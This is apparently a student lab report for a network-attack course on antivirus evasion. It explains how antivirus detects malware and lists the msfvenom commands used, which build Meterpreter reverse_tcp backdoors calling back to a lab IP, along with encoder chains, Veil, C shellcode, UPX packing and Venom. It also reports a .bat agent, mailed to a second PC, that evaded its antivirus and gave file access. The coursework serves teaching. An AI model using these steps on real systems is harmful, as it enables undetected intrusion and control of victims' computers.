2019-2020-2 20175302闫君廷《网络对抗技术》 Exp3 免杀原理与实践

一、实验目标:

  • 了解恶意软件检测机制
  • 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
  • 通过组合应用各种技术实现恶意代码免杀
  • 掌握将生成的免杀程序注入目标机,并回连成功

二、预备知识:

免杀概念

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。

恶意软件检测机制

  • 基于特征码的检测
    • 恶意代码包含这样的数据
    • 正常程序不包含这样的数据
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测
    • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
    • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

免杀原理及技术

改变特征码

  • 只有EXE
    • 加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)

改变行为

  • 通讯方式
    • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
    • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
    • 加密通讯数据:如使用reverse-https进行转发
  • 操作模式
    • 基于内存操作:meterpreter是基于内存操作的操作的
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

三、实验步骤:

1. 正确使用MSF编辑器

MSF编辑器msfvenom
-h查看帮助:

在实验二中,已经使用过一次msfvenom来编辑后门程序:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe
使用msf-virustotal -f 5302exp2_backdoor.exe将文件上传到VirusTotal上进行扫描:

-e用编码器进行编码并进行扫描:

-i编码十次并进行扫描

2. msfvenom生成入jar之类的其他文件

msfvenom -l payload查看可用的payload

选择-p java/meterpreter/reverse_tcp生成jar文件并进行检测

选择-p php/meterpreter/reverse_tcp生成php文件

3. Veil的使用

按照提示安装Veil
启动veil
use 1进入veil-evasion

list查看所有可用的payload
use [payload_number]选择某个payload使用
set [选项] [参数]修改options
generate开始生成文件
过程中给文件起名


对veil生成的pwShell_rev_tcp文件进行检测

4. C+Shellcode

使用msfvenom生成一个shellcode

创建一个.c文件,将buf[]放入
使用mingw32工具进行编译
我用了两种编译器g++和gcc,扫描效果上是差不多的,但是不知道为什么都无法在Windows主机上运行。

5. 加壳

对刚才编译生成的文件进行加壳
upx shell_5302.exe -o shell_5302_upxed.exe
检测效果:

6. 使用其他课堂未介绍方法:

花式编码:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.0.108 LPORT=5302 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x QQ.exe -k -f exe > encoder_times.exe
实际没啥用。。。

msfconsole:
使用msfconsole生成:
这个跟msfvenome是一样的,最后使用generate [选项] [参数]就可以生成了。

Venom:

用Venom生成一个dll,使用rundll32.exe运行
不报毒,回连成功之后也不报毒,但是会自动关闭

生成了一个apk,手机回连也成功了。

7. 通过组合各种技术实现恶意代码免杀:

用了一个最简单的codeblock编译shellcode
跟前面C+shellcode一样的,不过效果好一点。

8. 用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本:

用Venom中的这个Agent

生成了一个.bat文件,通过QQ邮箱发送压缩后的文件,在目标机中下载解压没有查杀

回连成功,可以查看桌面文件,新建文件夹,编辑文件等操作,无法进行截屏操作。


四、实验体会:

1. 实验过程中遇到的问题:

  1. veil安装出现了一些问题,解决方法:
      remove整个veil,并重新install,然后就好了。。。
  2. 前面说到的mingw32编译的无法在Windows主机中运行,ruby生成的EXE也无法在Windows中运行。
      暂无解决方案
  3. msfvenom中大量的payload不知道怎么使用,以后慢慢尝试

2. 实验体会:

生成一个能够回连的后门程序时蛮有意思的一件事情,但是以现在的知识水平能够生成的程序还不足以完全越过杀毒软件,还要多多学习。

五、问题回答

1. 杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    • 恶意代码包含这样的数据
    • 正常程序不包含这样的数据
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测
    • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
    • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2. 免杀是做什么?

对恶意软件做处理,让它不被杀毒软件所检测。

3. 免杀的基本方法有哪些?

从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有三大类:

  • 非常规方法:纯手工打造、社工类攻击。

  • 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。

  • 改变行为:使用反弹连接、隧道技术、加密通讯数据等。

4. 开启杀软能绝对防止电脑中恶意代码吗?

不能绝对,因为总有些0day的恶意代码可能被创造出来并注入,可能有能够隐藏自己行为的恶意代码。

posted @ 2020-03-31 15:26  Jerrold_Y  阅读(195)  评论(0编辑  收藏  举报